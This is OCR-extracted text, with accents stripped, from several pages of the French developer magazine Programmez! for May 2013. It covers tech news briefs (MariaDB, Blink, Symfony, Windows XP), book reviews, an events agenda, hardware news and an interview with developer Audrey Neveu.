dcid de migrer vers MariaDB comme base
de donnes de rfrence, tant dans la gestion
des paquets que comme SGBD standard. Certaines fondations ont commenc s'y intresser comme le blog de Mozilla ou Wikipedia.

< 12 >

MAI

2013

Outil dadministration historique de MySQL,


PhpMyAdmin reste loutil de rfrence. Mme
si l'ide d'un PhpMariaAdmin est rgulirement souleve, ce type doutils nest pas encore lordre du jour. Pour lancer un tel projet, il
faut une base installe consquente. Monty
envisagera plus une volution des outils existants que la naissance dun outil nouveau.

> Conclusion
Incontestablement, un engouement existe
autour de MariaDB, notamment depuis la
cration de la fondation. Les prochains mois
seront intressants suivre, particulirement avec les migrations annonces de
MySQL vers MariaDB
# Christophe Villeneuve
Consultant pour Neuros, auteur du livre PHP &
MySQL-MySQLi-PDO, Construisez votre application ,
aux ditions ENI. Rdacteur pour WebRIVER, membre
des Teams DrupalFR, AFUP, LeMug.fr, Drupagora,
PHPTV.

10-15

22/04/13

15:39

Page 13

i actu
gGoogle quitte WebKit
et forke WebCore

quipe Chromium a fork le projet WebKit pour crer son propre projet : Blink.
En ralit ce qui a intress lquipe Google
nest pas lensemble de WebKit mais certaines sections telles que WebCore, le
moteur de rendu HTML de WebKit. Ce fork
tait devenu une ncessit pour allger le
support de WebKit (de nombreux codes ne
sont pas utiliss dans Chromium / Chromium) et rajouter des fonctions et optimisations plus rapidement. Et lquipe Google
devait aussi adapter WebKit au fonctionnement multi-process de Chromium qui est diffrent de limplmentation standard. Mais il
sagit aussi pour Chromium de mieux intgrer le moteur V8, car le navigateur Google
nutilise pas le moteur JavaScript de WebKit.
Les gros changements se font sur : WebCore, la suppression des arbres de codes non
utiles, la migration du code vers les API plateformes (sandbox) quand cela est possible,
lamlioration du support multicoeur, le net-

toyage de DOM. Blink se veut indpendant


des plateformes. Il fonctionne donc naturellement sur Windows, Linux, OS X, iOS,
Android, etc. Le moteur peut tre utilis par
toute application tierce. Sur les prfixes
webkit, Google nenvisage pas dintroduire
des chrome, toutefois Blink continuera
supporter les webkit tant que ceux-ci existeront mais les remplacera au fur et mesure
par les fonctions standards HTML 5 / CSS.
Quelle relation entre WebKit et Blink ? Pour
le moment rien na t annonc sur un

cadre de fonctionnement mais il ne devrait


pas y avoir de coupure entre les deux projets
et des patchs Blink devraient tre proposs
WebKit par lquipe Blink. Dailleurs, ce
nest pas dans lintrt de Google darrter
son soutien WebKit. Mais ce fork peut
aussi inciter WebKit faire le mnage dans
les fonctions et le code, travail qui a dmarr ds lannonce officielle et rflchir sur la
partie JavaScript.
FAQ (avec vido) : http://goo.gl/OHHwd

Live 2013 confirme la bonne


gSymfony
sant de Symfony !
but avril, la communaut
Symfony sest rassemble
Paris pour sa confrence
annuelle. Un important effort
est fait sur la communaut
et sur lcosystme pour
accrotre les partenaires. Plusieurs tmoignages de grands
utilisateurs ont t proposs.
Car si la thorie et la technique, cest bien, lutilisation
concrte permet dtre plus
ancr dans la ralit. Dautre
part, SensioLabs est revenu sur
la certification, lance en 2012.
Cette dition a rassembl plus
de 350 personnes.
Pour Fabien Potencier, lobjectif
est maintenant de stabiliser pleinement la ligne 2.0 du framework. La v2.3 sortira courant
mai et marquera une relle
tape de stabilisation avec le
support long de la version. Surtout, partir de cette version, la
rtrocompatibilit sera assure,
minimisant les nouvelles fonctions pouvant provoquer des

ruptures. SensioLabs na pas


lambition de tout faire comme
un portail officiel des bundles,
mais au contraire de favoriser
lcosystme et les partenaires
et de travailler sur un nombre
restreint de bundles ayant une
forte valeur ajoute pour les
dveloppeurs et les entreprises.
Virage stratgique important,
SensioLabs est pleinement un
diteur logiciel. Lditeur a dvoil durant Symfony Live un futur
produit, qualifi de stratgique
par Fabien : SensioLabsInsight. Il
sagit dun outil danalyse de

PROgrammez !

XP
gWindows
disparatra le

code statique et dynamique,


qui rajoute aussi lanalyse tendancielle. Lobjectif est daider
les quipes, les dveloppeurs
qualifier le code et les projets.
Mais surtout, il faut le faire
avec intelligence. Par exemple,
si 80 % des actions dcrites
sont trop longues, il y a sans
doute un problme de structure et de bonnes pratiques. Si
seulement 5 % dpasse la limite, est-ce un problme critique ?
Mais si ce chiffre passe 10 %,
l, il faut y voir un problme
expertiser. Insight sera accessible la demande (SensioLabs
hberge sur une infrastructure
de type Cloud) mais il sera possible de lhberger ailleurs. Pour
le moment aucun tarif nest disponible. Le service devrait tre
utilisable courant juin. Pour les
projets open source, Insight
sera gratuit. Insight permettra
de monter et dmonter des environnements virtuels pour tester
des projets, des applications.

< 13 >

MAI

2013

8 avril 2014 !
Microsoft la annonc
officiellement. Le
support tendu de XP
prendra fin ! Systme
stable et prouv, il a
rsist Windows Vista
qui est un demi-chec ou
un demi-succs.
Windows 7 fut souvent
surnomm Vista 2.0.
Plus surprenant, plus
dun tiers du parc
install fonctionne
encore sous XP. Ce
chiffre doit gner
Microsoft qui cherche
vendre Windows 8 et
surtout tendre le
nombre dutilisateurs.
Car 6 mois aprs sa
disponibilit auprs du
public, Windows 8
progresse lentement et
le systme change de
nombreuses habitudes.
La future version
Windows Blue ira
sans doute encore plus
loin

10-15

22/04/13

15:39

Page 14

i actu
ne laisse pas tomber les solutions
gSAP
et outils Sybase
Depuis le rachat de Sybase par SAP, lditeur se faisait discret. Le
16 avril dernier, durant le SAP Technology Forum de Paris, nous
avons pu constater que Sybase ntait pas mort, bien au contraire Sybase tait un diteur peu bavard sur le futur des produits.
SAP a voulu plus de transparence et plusieurs roadmaps sont disponibles sur les sites officiels.
Ainsi, PowerDesigner, outil de modlisation historique en France
est toujours dactualit. En dbut danne, la version 16.5 sera disponible trs prochainement avec le support de SAP Hana, de SAP
BO et des services donnes. Le cur de loutil a t partiellement
remis (modeling XML, moteur de rapport revu et corrig, importation XML). Pour fin 2013, la version 17 devrait tre disponible.
Cette version continue amliorer lintgration entre
PowerDesigner et les outils SAP, dont Hana. Et les quipes continuent modifier le cur de la solution. Lobjectif est le support de
SAP realtime data. En 2014 ( ?), la version 17.1 devra unifier le

modle de modlisation et darchitecture avec SAP. Pour lditeur,


il sagit aussi de mieux intgrer les diffrentes bases de donnes
Sybase : IQ, ASE et SQL Anywhere. Lditeur est trs actif sur
Sybase IQ et son lien avec Hana.

gLhyperviseur Xen rejoint la fondation Linux


Cest une nouvelle un peu inattendue qui est tombe mi-avril. Xen
rejoint la fondation Linux. Mais le projet et la communaut avaient
envie de smanciper et de sortir de lapproche de Citrix. Lobjectif
est dsormais dtre indpendant de
tout diteur. En ralit cela faisait
dj un an que la communaut
soccupait de Xen. Plusieurs grandes
socits ont annonc leur
participation au projet : Amazon
Web Ser vices, AMD, CA, Cisco,
Citrix, Intel, Oracle, etc. La fondation
soccupera de linfrastructure, du
rseau collaboratif, des bonnes
pratiques. Site : http://blog.xen.org

veut remplacer
gNetflix
Silverlight !
Le fournisseur de contenu vido
mise de plus en plus sur HTML 5 et
l e f a i t s a v o i r. S o n o b j e c t i f e s t
dutiliser HTML 5 pour la vido et
son contenu premium .
Actuellement, Silverlight est utilis
pour la diffusion en streaming du
contenu vers les navigateurs PC et
Mac. Netflix justifie ce futur
changement par le fait que Microsoft
arrtera le support de Silverlight 5 en 2021
et aussi, sans le dire, par labsence de toute
nouveaut. Dautre part, les problmes de
scurit et surtout labsence du plug-in sur
plusieurs plateformes comme Safari mobile
ou IE en mode Metro narrangent en rien
cette technologie. Dores et dj, Netflix
travaille activement sur le sujet,
particulirement autour de trois extensions
du W3C : Media Source Extensions,

Blue
gWindows
deviendrait
Windows 8.1
Microsoft a lambition de sortir une
grosse mise jour / version de
Windows tous les ans, un peu
comme Apple avec iOS et OS X. Blue
est prvu cette anne et pourrait
tre numrote 8.1. Sil faudra
attendre la confrence Build de juin
prochain, plusieurs rumeurs circulent. Ainsi, le bouton dmarrage
pourrait faire son retour comme
lcrivent nos confrres de ZDnet
(dition US). Et peut-tre mme la
possibilit de dmarrer directement
en mode bureau. Encore quelques
semaines dattente !

Glass, quelles
gGoogle
caractristiques
techniques ?

E n c r y p t e d M e d i a E x t e n s i o n s e t We b
Cryptography API. Le premier tend
HTMLMediaElement avec du JavaScript. Le
second fournit une couche de cryptage pour
protger le contenu. Le dernier doit
permettre de chiffrer les oprations dans les
applications web.
Une premire implmentation a t faite avec
Google dans Chrome.
Blog : http://techblog.netflix.com/2013/04/html5video-at-netflix.html

PROgrammez !

< 14 >

MAI

2013

Google a dvoil les premires informations techniques sur les lunettes


connectes : la camra est un capteur de 5 millions de pixels et peut
capturer une vido en 720p, support
du wifi 802.11b/g et du bluetooth
(pas de prvision sur sa version),
stockage de 12 Go utilisables et synchronisation avec Google Cloud
Storage, autonomie dune journe
(moyenne), chargeur micro-USB. Les
dveloppeurs pourront dvelopper
pour Glass mais interdiction dinclure
de la publication. Google a mis en
ligne un site technique complet :
https://developers.google.com/glass/overview

10-15

22/04/13

15:39

Page 15

16-18

20/04/13

00:01

Page 16

i ressources
Notre slection de livres
Collectif,

Lingnierie systme
AFNOR
Vous ne connaissez
rien aux systmes et
leur ingnierie ?
Pas de souci, cet
ouvrage est fait pour
vous ! Il est aussi destin un public plus
large de responsables, de dcideurs,
de manageurs, qui n'ont pas vocation
approfondir les notions d'ingnierie systme
mais qui doivent en comprendre l'essentiel
ainsi que les enjeux, afin de travailler de
faon efficace avec les ingnieurs systme.
De nombreux exemples concrets permettent de mieux comprendre ce sujet, pas forcment trs friendly .
Simon Monk

Arduino
Pearson
Arduino ne vous dit
sans doute pas
grand-chose. Il sagit
dun microcontrleur
dune grande richesse fonctionnelle et
avec lequel on peut
tout faire ou presque. Cet ouvrage couvre
toutes les bases dont les utilisateurs dbutants peuvent avoir besoin pour tirer pleinement profit de leur Arduino. Il permet de
comprendre le matriel et ses principes de
fonctionnement : installation, configuration,
premiers programmes (croquis) difficult
progressive. Il permet aussi de mettre en
place des premiers projets simples, de les
coder soi-mme, et d'apprendre le langage
de programmation de lArduino, le C.
Rudi Bruchez

Les bases
de donnes
NoSQL
Eyrolles
Aujourdhui, nous
sommes dans un
monde o les donnes sont la fois
structures et non-structures si on rsume
cela en base de donnes : on parlera de
SGBDR et de base non relationnelle de type

NoSQL ou tout du moins, pas uniquement


SQL Cet ouvrage d'une grande clart dresse un panorama complet des bases de donnes NoSQL, en analysant en toute
objectivit leurs avantages et inconvnients.
Dans une premire partie, il prsente les
grands principes de ces bases non relationnelles : interface avec le code client, architecture distribue, paradigme MapReduce,
etc. Il dtaille ensuite dans une deuxime
partie les principales solutions existantes
(Hadoop, MongoDB, Cassandra, CouchDB...), en prcisant spcificits, forces et
faiblesses de chacune. Lauteur rajoute aussi
un cas concret dans la vraie vie pour bien
faire comprendre le mouvement.
Nicolas Beaujouan

Geek, la revanche
Laffont
On parle beaucoup du
Geek. Il laisse parfois
sceptiques la famille,
les amis, voire, son
patron. A lorigine
bte de foire, il est
aujourdhui synonyme
dun tat desprit, dune passion pour les
technologies et toute une culture sest dveloppe autour. Qui est-il ? Comment peut-on
le comprendre socialement ? Mais attention
ne pas tomber dans la caricature et tout
mlanger, ce que lauteur fait parfois. Geek
ou Nerd faut-il choisir ?
Collectif

Richard Stallman et la
rvolution du logiciel libre
Eyrolles
Gnie, excessif, virulent, passionn. Beaucoup de choses ont t
dites sur Richard Stallman. Il apparat souvent intransigeant,
surtout quand on commence parler avec lui
du logiciel et de lOpen Source.
Le Libre et ses origines sont longuement
voqus et un des passages les plus savoureux est celui o Torvalds (1996) merge
rellement pour la premire fois.
Et quand ce dernier sattaque directement
Stallman, alors seul grand esprit du Libre de
lpoque, publiquement, il tait le leader
incontest On en revient toujours la phi-

PROgrammez !

< 16 >

MAI

2013

losophie de base du free software : free =


libert et non gratuit ! Cest cette vision
gratuit libert qui va pousser crer le
mouvement Open Source. Nous sommes
alors en 1998.
On pourrait citer de nombreux passages, il
ne faut pas rater son commentaire sur
Hadopi. Passionnant lire, mme si ce nest
pas toujours lhonneur de RMS, mais cette
biographie a lavantage de nous faire dcouvrir le personnage, ses convictions, son
mode de vie.
Dominique Maniez

Formation
VBA Office 2013
Dunod
Eh non, VBA nest pas
mort ! Il est toujours
prsent dans la suite
Office 2013. Grce
une progression pdagogique par raf finements s u c c e s s i f s ,
assimilez en douceur
les concepts de base de VBA et apprenez
crire de petits programmes sous Office
2013 puis construire progressivement
des macros de plus en plus volues. Lauteur se veut donc trs progressif en sappuyant sur de nombreux exemples de codes
et de programmes.
collectif

Raspberry Pi
Pearson
Que faire avec son
Raspberry Pi, ce curieux
ordinateur tout nu avec
le strict minimum ?
Raspberry connat un
beau succs auprs de
tous les passionns de technologies, les
geeks. Si au dpart, on ne sait pas trop quoi
en faire, on dcouvre rapidement des
dizaines de projets et dusages !
Les auteurs voquent bien entendu son installation, mais rapidement on passe aux logiciels, la configuration, la possibilit de
media center.
Le dveloppement nest pas oubli ni la cration de circuits lectroniques.
Ce guide pratique est idal pour matriser
cet ordinateur rvolutionnaire, crer ses
projets, sinspirer des ides, et comprendre
en profondeur ltendue des possibilits
offertes par le Raspberry Pi. Un must pour
tout possesseur de Raspberry.

16-18

20/04/13

00:01

Page 17

16-18

20/04/13

00:01

Page 18

i ressources
Communaut

Concours

Groupe dutilisateurs
franais C++ (Paris)

Les quipes franaises se prparent


la grande finale mondiale dImagineCup 2013

Pas forcment le user group le plus connu, le


French User Group C++ existe pourtant bel et
bien. Ce FUG organise des runions techniques
et diffuse des informations autour de C++, des
bonnes pratiques. Une rencontre a eu lieu le 19
mars dernier. Pour aider ce FUG :
https://github.com/cpp-frug
https://groups.google.com/forum/#!forum/cpp-frug
http://www.dailymotion.com/group/cpp-frug#video=xygnxx

En mai

La nouvelle dition de la grande comptition de dveloppement et de technologie


ImagineCup se tiendra Moscou du 8 au
11 juillet pour les grandes finales. Chaque
pays participant enverra une ou plusieurs
quipes dtudiants dfendre leurs projets. Pour la France, cest une quipe de
luniversit dOrlans qui ira la finale
avec le projet Ki (Breath).
Il sagit dun jeu mdical innovant, destin
aux enfants atteints de mucoviscidose.
Avec un gameplay reposant sur la techno-

logie Kinect, il permet aux enfants deffectuer des exercices physiques et respiratoires pour rester en forme, tout en
samusant puisquil sagit de reprendre les
couleurs de notre plante aux vilains
extra-terrestres qui nous les ont drobes Ct jeux, cest lquipe Banzai
Lightning qui a gagn.
Pour la partie innovation, Original Network
a gagn avec un outil de rduction de
consommation nergtique des systmes
dinformation

gJUG Paris, rencontre le 14 !


Comme chaque mois,
le JUG Paris organise
sa soire Java. Les
prochaines rencontres
auront lieu les 14 mai, 11 juin et 2 juillet.
Les thmes ne sont pas encore connus.
Programmez ! vous en informera, ou rendezvous sur le site officiel du JUG :
http://www.parisjug.org/xwiki/bin/view/Meeting/Next

gTour de France Windows 8


et Windows Phone 8

gNUI, Gaming et dveloppement


avec Kinect

Avec un SDK disponible sur PC, le priphrique de Microsoft a largement dpass le


cadre des jeux vido pour Xbox. On ne compte plus le nombre de projets l'utilisant pour
tout autre chose, comme des performances
artistiques, des applications mdicales, et
des IHM pour application publicitaire. Il est
maintenant possible de travailler en C#, Air,
Processing, Open framework, et bien
d'autres technologies, avec Kinect. Venez
dcouvrir avec David Catuhe et Sebastian
Wloch, comment concevoir et dvelopper
pour Kinect, le 14 mai lEpitech Bordeaux.
A partir de 19h.
Inscription et information : http://ttfx10.eventbrite.com/ttfx10.eventbrite.com

Agenda
f MAI
Le15 mai 2013, Paris 13e, Maison des
Associations, 10/18 rue des Terres au Cur,
AgoraCMS. Face au succs rencontr lors des
deux dernires ditions de Drupagora (vnement
ddi au CMS Drupal), les organisateurs ont souhait proposer une nouvelle journe de rencontre
sur la thmatique des outils de gestion de contenus (notamment Drupal, Wordpress, ezPublish,
TYPO3, SharePoint). http://www.agoracms.com/

Du 14 au 28 mai, dcouvrez sur une demijourne (gratuite) la programmation, la scurit et loptimisation sous Windows 8 et
Windows Phone 8 :
14 Mai Lyon - Agence Microsoft
16 Mai Lille : Agence Microsoft
21 Mai Strasbourg : Agence Microsoft
23 Mai Toulouse : Agence Microsoft
28 Mai Nantes : Agence Microsoft
Inscription et information : http://goo.gl/lgyt1

gSolutions Linux,

libres & open source 2013

Les 28 et 29 mai, le grand salon Open Source / Linux se tient Paris. Comme chaque
anne, de nombreuses confrences auront
lieu sur diffrents thmes : Cloud ouvert,
dveloppement web, lOpen Source au cur
ments de PC SOFT. Une source dapprentissage,
de dcouverte, de veille technologique, dinnovations
immdiatement applicables pour vos projets.
Une chance unique et gratuite avec une rentabilit
immdiate. site :
http://www.pcsoft.fr/pcsoft/tdftech/2013/index.html

f JUIN
Du 21 au 23 juin 2013, DrupalCamp Paris 2013.
Innovation cette anne : le DrupalCamp se droulera sur 3 jours. Nous retrouverons des sessions
techniques traitant de sujets de fond, de
technologies que l'on peut associer Drupal ou
Tour de France 2013 de PCSoft. Le 14 mai Marseille :
encore des dmonstrations de modules et aussi
Une demi-journe de formation sur les nouveauts de
des sessions orientes utilisateurs, ainsi que des
la version 18 dispense par des ingnieurs expriretours dexpriences et des tudes de cas.
PROgrammez !

< 18 >

MAI

2013

du mobile, les nouveaux dfis du Libre,


DevOps, la haute disponibilit, etc. Le salon
est aussi loccasion pour rencontrer les
nombreuses communauts !
Site : http://www.solutionslinux.fr/

En juin
gEclipseCon

dbarque en France

Les 5 et 6 juin prochain se tiendra Toulouse,


la premire confrence EclipseCon France !
Cette confrence parlera bien entendu
dEclipse et de son riche cosystme. Pour
les confrences (lagenda sera disponible
courant mai), elles tourneront autour de lindustrie, la communaut et les modles conomiques, le dveloppement web et mobile.
Il sera possible de voir des projets nouveaux
et innovants bass sur Eclipse. Site officiel :
http://www.eclipsecon.org/france2013/

gHack in Paris 2013 !


Organis pour la troisime fois, lvnement
Hack in Paris, unique vnement en France
exclusivement en anglais et runissant les
professionnels de la scurit informatique
(DSI, RSSI, RSI) et les experts techniques du
hacking, se droulera du 17 au 21 juin prochain au Centre de Congrs de Disneyland
Paris. Site : http://www.hackinparis.com

19

20/04/13

00:02

Page 19

i matriel
ACER PROPOSE DEUX GAMMES DCRANS
PROFESSIONNELS : B6 ET V6
Le B6 en 27 pouces offre une rsolution de 2560x1440 (1440p), 80 % de
pixels supplmentaires par rapport
une rsolution Full HD classique. Le B6,
29 pouces, offre quant lui, un rapport
21:9 optimis pour le multitche et l'affichage dapplications en parallle. Ils
intgrent (certains modles) un DisplayPort, conu pour offrir la meilleure qualit audio et vido, utilis principalement
entre les moniteurs et les ordinateurs,
mais aussi pour permettre une configuration de plusieurs crans. Grce aux
4 ports USB 3, les moniteurs B6 & V6

pourront facilement se brancher diffrents priphriques ; lun des ports permettant aux utilisateurs de recharger
des appareils numriques, mme
lorsque le PC est teint.
Les gammes font partie de la gamme
Acer EcoDisplays et ils sont fabriqus
plus de 10 % avec du plastique recycl.
Une valuation interne montre que ces
moniteurs peuvent rduire la consommation d'nergie de 50 % par rapport
d'autres moniteurs de mme catgorie.
Le V6 est disponible, le B6 partir de
mai.

gProcesseurs ARM sur nos machines ? gPromotion


chez Iomega !
Les processeurs ARM sont trs rputs dans le monde
mobile mais sur le poste de travail et les serveurs, les
puces ARM se font attendre. Pour pouvoir sinstaller sur
ces machines, ARM doit disposer de processeurs puissants capables de fournir une puissance quivalente la
concurrence x86 mais aussi avoir des versions 64 bits,
vitales pour les serveurs et les logiciels professionnels.
Les versions actuelles, 32 bits, permettent dj de crer
des machines performantes mais les constructeurs
attendent surtout les 64 bits (ARM v8). La production en
masse ne devrait pas intervenir avant fin 2013 ou courant 2014.

MICROSOFT LANCE LES VERSIONS EMBARQUES


DE WINDOWS 8
Les terminaux connects de dernire gnration agissent en parfaite adquation avec linfrastructure IT des entreprises. Ceci permet ainsi
aux entreprises dexploiter le potentiel de lInternet
des objets en produisant un ensemble de donnes
exploitables et une intelligence oprationnelle leur
apportant une vraie valeur ajoute , dclare
Kevin Dallas, Directeur Gnral de Windows
Embedded de Microsoft. Windows 8 embarqu
se destine donc aux bornes, systmes industriels, enfouis, etc. Lditeur propose 3 ditions

modulaires : standard, pro, industrie. Mais ces


ditions se concentrent uniquement sur les plateformes x86, aucune version ARM nest pour le
moment disponible. Lun des avantages de cette
version est dtre trs modulaire.

PNY DVOILE UNE CARTE


SOUS SA MARQUE BASE
SUR LES DERNIRES
VOLUTIONS NVIDIA QUADRO
ET TESLA
Ces monstres se destinent aux utilisateurs
professionnels (simulations, environnement
virtuel). Seules des applications optimises
pourront utiliser les performances de ces GPU.
Faites chauffer la carte bleue !

PROgrammez !

< 19 >

MAI

2013

Jusquau 19 mai, le constructeur


Iomega offre une rduction de 15 %
sur les configurations NAS sans
disques (modles ix et px et les
baies px12). Iomega propose
ses clients une gamme complte
de priphriques de stockage
rseau innovants, de bureau et en
baie. Ceux-ci comprennent notamment des priphriques sans
disque ou profitant d'une capacit
de stockage allant jusqu' 48 To,
dots de disques durs traditionnels ou de type SATA Server Class
(en fonction du modle). cela
s'ajoutent la prise en charge
iSCSI, une protection RAID ainsi
que des solutions de surveillance
vido et dans le Cloud, intgres.
Pour en savoir plus :
http://lenovoemc.com/nasdisks/?

acteur
gAcer
dynamique du
serveur dentreprise
Le constructeur veut en tout cas
sduire les TPE / PME et les
datacenters avec les nouveaux
modles Altos bass sur des processeurs Xeon, AMD. Le AC100
se veut le serveur dentre de
gamme mais volutif : 24 emplacements DIMM, support natif
RAID, PCIe 3, etc. Bref du costaud ! Pour en savoir plus :
http://www.acer.fr/ac/fr/FR/content/model
/ST.R7LEE.006

20/04/13

00:03

Page 20

i dveloppeur du mois

Une dveloppeuse passionne


au parcours atypique
Audrey Neveu na pas toujours t dveloppeuse. Aprs plusieurs expriences
dcevantes, elle revient linformatique, domaine dans lequel elle se reconnat. Elle
suit alors une formation pour adulte puis intgre une SSII parisienne. Plusieurs
personnalits du dveloppement la poussent s'investir. Audrey devient JUG Leader
de Duchess France jusquen dbut danne, puis se consacre Programatoo et
Devoxx4Kids, deux initiatives destines aux enfants.
Comment es-tu tombe dans linformatique et plus spcialement dans le dveloppement logiciel ?
Jai dcouvert linformatique grce mon
pre qui a achet un ordinateur familial alors
que javais peine quatorze ans. Je passais
le plus clair de mon temps libre dessus,
comprendre comment cela fonctionnait. Je
faisais de lInternet et des jeux, mais ce sont
surtout les OS et les logiciels qui ont monopolis la majeure partie de mon temps. Jallais fouiller dans les fichiers et les dossiers
dinstallation, jen dcortiquais les fonctionnalits, je faisais des tests, etc.
Malheureusement jai t trs mal oriente
et je ne suis revenue linformatique que dix
ans plus tard. Entre-temps jai fait un Bac
Economique et Social (ES), puis une Prpa
Arts Appliqus. En mapercevant que cela ne
me convenait pas, jtais dsempare. Jai
enchan les petits boulots et, grce mes
capacits en informatique, jai volu vers
des postes plus intressants. Jtais nanmoins toujours esclave du fait que je navais
pas de diplme.
Quand la crise des subprimes est arrive, je venais de finir une mission dintrim
et il tait quasi impossible den retrouver une
sans diplme. Jai
fait un bilan de comptences et cherch
ce qui mintressait
vraiment. En tudiant les mtiers de
linformatique, jai
dcouvert celui de
dveloppeur. a a
t le coup de foudre ! Aprs, jai suivi une
formation pour adulte. Jai tudi les bases
des langages et enchan des TP, avec un
projet rendre. On a commenc par Java
puis on a fait du PHP. Jai dtest PHP et

D.R.

20-21

suis donc vite revenue Java, que jai approfondi grce aux ressources en ligne.
Comment es-tu arrive chez Sfeir ? Pourquoi aimes-tu tant cette socit ?
Mon arrive chez Sfeir est un peu comme le
reste : un coup de chance. Le premier a t
de faire mon stage avec Yann Petit, le leader
du Normandy JUG. Il sest assur que je
sorte de mon stage avec un bagage solide.
Une fois diplme, je me suis aperue que je
ne trouverais pas de
travail sur Rouen ;
on ne voulait pas de
junior. Du coup jai
dcid de revenir
Paris, mais je ne
savais pas par o
commencer, alors
jai pluch la liste
des sponsors du Paris JUG (vridique). Je
visais une entreprise taille humaine, rpute techniquement, qui me challenge et avec
laquelle je me constituerais une exprience
forte. Un soir, Yann ma recommand sur

Jai dcouvert le
mtier de dveloppeur
et a a t le coup
de foudre

PROgrammez !

< 20 >

MAI

2013

Twitter. Un dveloppeur Sfeirien a lu le message et ma prsent la socit. Je serais


toujours reconnaissante mon entreprise
davoir pari sur moi. Cest la seule avoir
donn sa chance un profil atypique. On ma
tout de suite place sur une belle mission et
on ma envoye Devoxx ds la premire
anne, avec une vingtaine de collgues. Ce
que jai tout de suite ador dans ce mtier,
cest laspect communautaire : changer
avec des gens qui ont la mme passion, partager son exprience et son savoir. Forcment, Devoxx tait donc le Saint Graal mes
yeux : la plus grosse confrence Java en
Europe, avec des pointures. Mais cest aussi
un budget. Entre le prix de la place, le train
et lhbergement, cela maurait t inaccessible titre personnel. Quand on ma annonc que jy allais, ctait fantastique.
Est-ce difficile dtre une des rares filles
dans un domaine trs masculin ?
Bizarrement jai rencontr plus dobstacles
pour arriver dans la vie professionnelle que
par la suite. Lorsque jtais en cours, le for-

20/04/13

00:03

Page 21

i dveloppeur du mois
mateur Java avait dcrt que je naugrammation destins aux enfants.
rais pas mon diplme et ne voyait
Nous nous sommes lancs dans la
donc pas lintrt de venir maider
traduction doutils (Dr Techniko, Kidlorsque jtais bloque. Quand jai possRuby) car, sil en existe beaucoup, la
tul pour mon stage, le directeur
plupart sont en anglais. Notre but
dagence ma propos un poste de
tant de partager notre connaissance
commerciale et ne comprenait pas
sur le sujet, nous proposons notre
mon enttement vouloir tre dveatelier aux communauts. Et puis,
loppeur. Difficile dire si ctait un
comme nous souhaitons toucher le
problme de sexe ou si cest le mtier
plus de monde possible, nous intervede dveloppeur en lui-mme quil ne
nons galement dans les entreprises.
considrait pas comme trs prestigieux
Entre ton travail, tes activits perJai persist et, une fois en poste, je
sonnelles, les confrences, les JUG,
nai jamais regrett mon choix. La plules enfants, comment fais-tu pour
par t des hommes sont contents
grer tout cela ?
davoir une fille dans lquipe. Bien sr
Je suis passionne et jaime ce mtier :
il y en a parfois qui ne voient pas ce
a aide. Pour le reste, je vais cherquune fille vient faire dans linformacher lnergie auprs des autres. Il y a
tique, mais ils sont rares. La seule
dun ct les filles avec qui je travaille
Duchess organise des runions techniques rgulirement
chose qui ma faite douter un
dans le cadre associatif, comme Claumoment, cest que je navais pas de
de Falguire, Agns Crepet (Java
modle fminin. Jadmirais beaucoup
Champion) ou encore Aline. Je les
de dveloppeurs, mais je ne connaisadmire la fois techniquement et
sais pas de dveloppeuses... Et puis
humainement. Elles mont normAntonio Goncalves ma dit de venir au
ment apport et me poussent me
Paris JUG pour rencontrer les filles
dpasser.
qui craient Duchess, un JUG fminin
De lautre il y a les confrences : User
(cf. Programmez N157), en France.
Groups, Devoxx, MixIt, JUG Summer
A partir de l, je nai plus dout une
Camp, ou le Breizh Camp. Toutes sont
seconde de mon choix. Bien mieux, jai
des parenthses indispensables pour
dcouvert un moyen de minvestir pour que coder. Lors de mes pauses, je fais de la moi dans ma vie de dveloppeur. Cest une
dautres tudiantes sachent quelles peuvent veille en parcourant mes tweets et les blogs faon nettement plus agrable de faire de la
faire ce mtier et sy panouir.
auxquels je suis abonne, javance sur Pro- veille que de lire des livres ou des articles
gramatoo et mes projets communautaires. dans son coin. Cest loccasion de renconQuels types de projets ralises-tu ? A quoi Et le soir, je remets a.
trer et dchanger avec des gens aussi pasressemblent tes journes de travail ?
sionns que moi. Enfin, cest un moment o
Je travaille surtout en rgie sur des projets Cest quoi dailleurs, ce Programatoo dont je me dconnecte de mes projets, ce qui me
Java. Je fabrique des applications Web en on entend de plus en plus parler ?
permet dy revenir remotive, des ides plein
GWT (Google Web Toolkit) et je code avec
la tte.
Eclipse sous Ubuntu. Jadore Linux. Jaime
son ct simple, sans fioriture. Quand jai
Un conseil pour les tudiants qui nous
besoin dun outil, je linstalle et cest tout. En
lisent ?
revanche, le support matriel sur portable Programatoo cest une initiative de ma col- Je dbutais depuis six mois quand mon chef
est un rel problme : jai rgulirement des lgue Aline Paponaud. Elle veut faire revenir m'a dit tu verras, pour le moment c'est
soucis aprs des mj, cest pourquoi le Mac linformatique (surtout la programmation) dur, tu en baves, mais il y aura bientt un
mattire de plus en plus.
lcole et ma demand de laccompagner. dclic et tu dcouvriras que tu peux tout
En ce qui concerne Eclipse, je dirais que jai Comme moi, Aline a dcouvert linformatique faire. Ce sera magique. Et c'est vrai ; au
appris men servir correctement au lieu de trs tt et souhaite partager cette passion. dbut je me sentais nulle, je craignais de ne
passer mon temps en souffrir. Je ne sais Nous avons dabord organis des ateliers pas progresser assez vite, puis c'est devenu
pas sil est meilleur que Netbeans ou IntelliJ. chez Sfeir, pour les enfants du personnel. Un plus facile. Mme quand je ne savais pas
En revanche, je suis persuade que lon peut atelier dure trois heures en moyenne. Les faire, il n'y avait pas d'obstacle, j'tais
tre tout aussi improductif avec lun ou enfants codent, font des dmos, recodent et capable d'apprendre.
lautre si lon ne connat pas bien son outil de surtout samusent. Bonbons et gteaux sont
travail.
obligatoires car on ne badine pas avec le
Mes journes de travail commencent toutes goter...
# Thierry
par le Stand Up matinal. Ensuite, je dpile En parallle nous promouvons les outils et
Leriche-Dessirier
mes mails et je passe le reste de la journe les autres initiatives de dcouverte de la pro@thierryleriche
JDuchess.

20-21

La plupart des
hommes sont contents
davoir une fille dans
lquipe

PROgrammez !

< 21 >

MAI

2013

22-25

22/04/13

15:30

Page 22

i veille techno

BlackBerry 10 :
Opration dernire chance ?
Prcurseur dans le monde de la tlphonie, RIM fut le premier constructeur proposer
aux utilisateurs le push mail et un service de messagerie instantane sur tlphones
portables. Adoub par le monde de
lentreprise grce la scurit de sa
plateforme, BlackBerry bnficie
galement dune excellente image
auprs des jeunes.
as, lapparition de liPhone et des smartphones Android aura
t un coup dur pour RIM qui depuis ne cesse de voir ses parts
de march et ses ventes chuter. La faute probablement un
non renouvellement de sa gamme dappareils. Alors que nous
